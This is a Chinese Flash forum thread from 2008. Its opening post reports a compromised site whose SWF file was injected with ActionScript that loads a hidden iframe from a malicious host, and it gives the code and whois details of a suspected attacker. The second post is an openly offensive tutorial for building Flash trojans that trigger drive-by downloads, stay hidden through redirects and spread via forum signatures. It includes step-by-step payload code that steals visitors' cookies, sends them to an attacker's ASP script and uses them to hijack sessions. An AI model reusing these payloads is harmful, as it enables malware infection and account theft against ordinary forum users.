flash的木马病毒-另一种形式的木马闪客论坛 flash,RIA, Flex, Flash Remoting,flashcom,fcs,fms,闪客,flv,队列转换,ALLTOFLV,MAKEFLV - 闪客论坛

张小鱼

个人空间 相册
组别:管理员
性别:
来自:
积分:242
帖子:240
注册: 2007-12-26

2008-01-11 11:39 | 只看楼主

树型| 收藏| 小中大 1

flash的木马病毒-另一种形式的木马

这一两个月,我想如果有来我网站的人应该发现,我的网站常常挂点,其实我的server被植入木马,而针对的网站是我帮蔡依林后援会架设的网站 ,最让我惊讶的他的木马植入方式,是放在我的网页上方的flash里面,怎么放呢,他在我的swf里面多加了这一串指令...

if (i == null)
{
i = 1;
if (_url.toLowerCase().substr(0, 4) == "http")
{
getURL("javascript:document.body.insertAdjacentHTML('beforeEnd','<iframe src=http://www.88doudou.com width=0 height=0 ></iframe>')", "_self");
} // end if
} // end if
return(null >>> (null | null === null));

而该网页里面又放了木马程序在里面,我从没想过已经有人利用swf来下手木马的攻击,真的是防不胜防,或许我不是首例,我也不知道该黑客是讨厌蔡依林还是讨厌我,不过如果我有不对的地方,也烦请直接告知,别再利用这种方式伤害其它无辜的网友....该黑客之前主要攻击日本网站为主,相关讯息如下:

http://whois.ansi.co.jp/?key=shtm1.com

Admin Name........... pi ger
Admin Address........ hidden
Admin Address........
Admin Address........ Beijing
Admin Address........ 123456
Admin Address........ BJ
Admin Address........ CN
Admin Email.......... ****jpmm@china.com
Admin Phone.......... +86.1012345678
Admin Fax............ +86.1012345678

张小鱼

个人空间 相册
组别:管理员
性别:
来自:
积分:242
帖子:240
注册: 2007-12-26

2008-01-11 11:40 | 只看楼主

树型| 收藏| 小中大 2

回复：flash的木马病毒-另一种形式的木马

flash网页木马制作高级技巧学过flash的人应该都知道flash动作选项里有个获取url的选项,在指定帧设定动作,指向带木马的网页,木马网页怎么制作我就不说了,不是本文介绍的范围.当播放到指定帧时,木马网页自动打开,接下来会发生什么事,大家都知道吧,呵呵.下面我来说下怎么制作这种flash.
新建个flash,在某一帧双击左键,跳出动作选项,填入木马网页地址,比如http://www.qqxia.com,当然,这只是假设的地址.
　　当flash自动播放到那帧时,网页就自动出来拉,木马就自动下载然后执行,呵呵.当然,你是高手的话,把flash做漂亮点,更具迷惑性!跳出来的网页设置也有技巧,最好在网页上有点内容,别是一片空白,那样太容易被人识破了,更绝的是,让它转到别的正常的网页.
<meta http-equiv="refresh" content="1;url=http://www.163.com/";>上面的代码就是让木马网页打开之后,再过1秒钟就转到163去,这样,够隐蔽吧!
　　最后,大家会问,这个flash放哪儿去,才会有人看呢?签名里呀!!哈哈!热门的贴去顶下,自然有人看到你的flash洛!
1. 首先准备好一个可以运行ASP的空间，用来存放Cookies
2. 新建一个Flash动画，加入如下代码：
onClipEvent (load) {
url="javascript：var rng=document．selection.createRange();rng.pasteHTML(\"<iframe name=frame_hide style='display:none'></iframe><img src=\\\"./images/logo.gif\\\" style=\\\"display:none\\\" onload=\\\"javascript：co=document．.cookie;document．all.frame_hide.src='http://存放路径/WriteCookies.asp?Cookies='+co.split('&');var e=document．all;for(var i=0;i<e.length;i++){if(e(i).tagName=='A'){var ss=e(i).outerHTML;}}\\\">\");"
getURL(url);
}
利用iframe是为了让其它人查觉不到程序的页面跳转
3. 将Flash导出****文件，插入到想要偷取Cookies的论坛上，加入代码[全屏欣赏]
（注，有些论坛是****][****]）
4. 这样，如果有用户进到贴子里面，javascript程序就会把该用户的Cookies送到WriteCookies.asp，保存到数据库
5. 至于Cookies欺骗，推荐使用IECookiesView，很多教程都有介绍，在这里就不多说了
◇ 备注
1. 对于禁用Flash的论坛，还可以利用PNG格式的图片嵌入代码偷取
2. 拿到Cookies后，密码是经MD5算法加密过的字符串，如果你喜欢用暴力的话，可以试试去解码，当然，个人是不推荐这种方法的

1115年个人空间相册组别:新手上路性别: 来自: 积分:26 帖子:16 注册: 2008-01-03	2008-01-11 13:40 \| 树型\| 收藏\| 小中大 3 回复：flash的木马病毒-另一种形式的木马太厉害了，学习，小鱼老师真是厉害，:< 学习

新手个人空间相册组别:新手上路性别: 来自: 积分:2 帖子:2 注册: 2008-03-23	2008-03-23 16:26 \| 树型\| 收藏\| 小中大 4 回复：flash的木马病毒-另一种形式的木马

guyu 个人空间相册组别:新手上路性别: 来自: 积分:1 帖子:1 注册: 2008-03-26	2008-03-26 18:34 \| 树型\| 收藏\| 小中大 5 回复：flash的木马病毒-另一种形式的木马云里雾里。。。。。。不过理解大概的意思 ASP被人给黑过

闪客论坛Flash 开发【Flash新闻动态】 flash的木马病毒-另一种形式的木马

flash的木马病毒-另一种形式的木马

flash的木马病毒-另一种形式的木马

回复：flash的木马病毒-另一种形式的木马

回复：flash的木马病毒-另一种形式的木马

回复：flash的木马病毒-另一种形式的木马

回复：flash的木马病毒-另一种形式的木马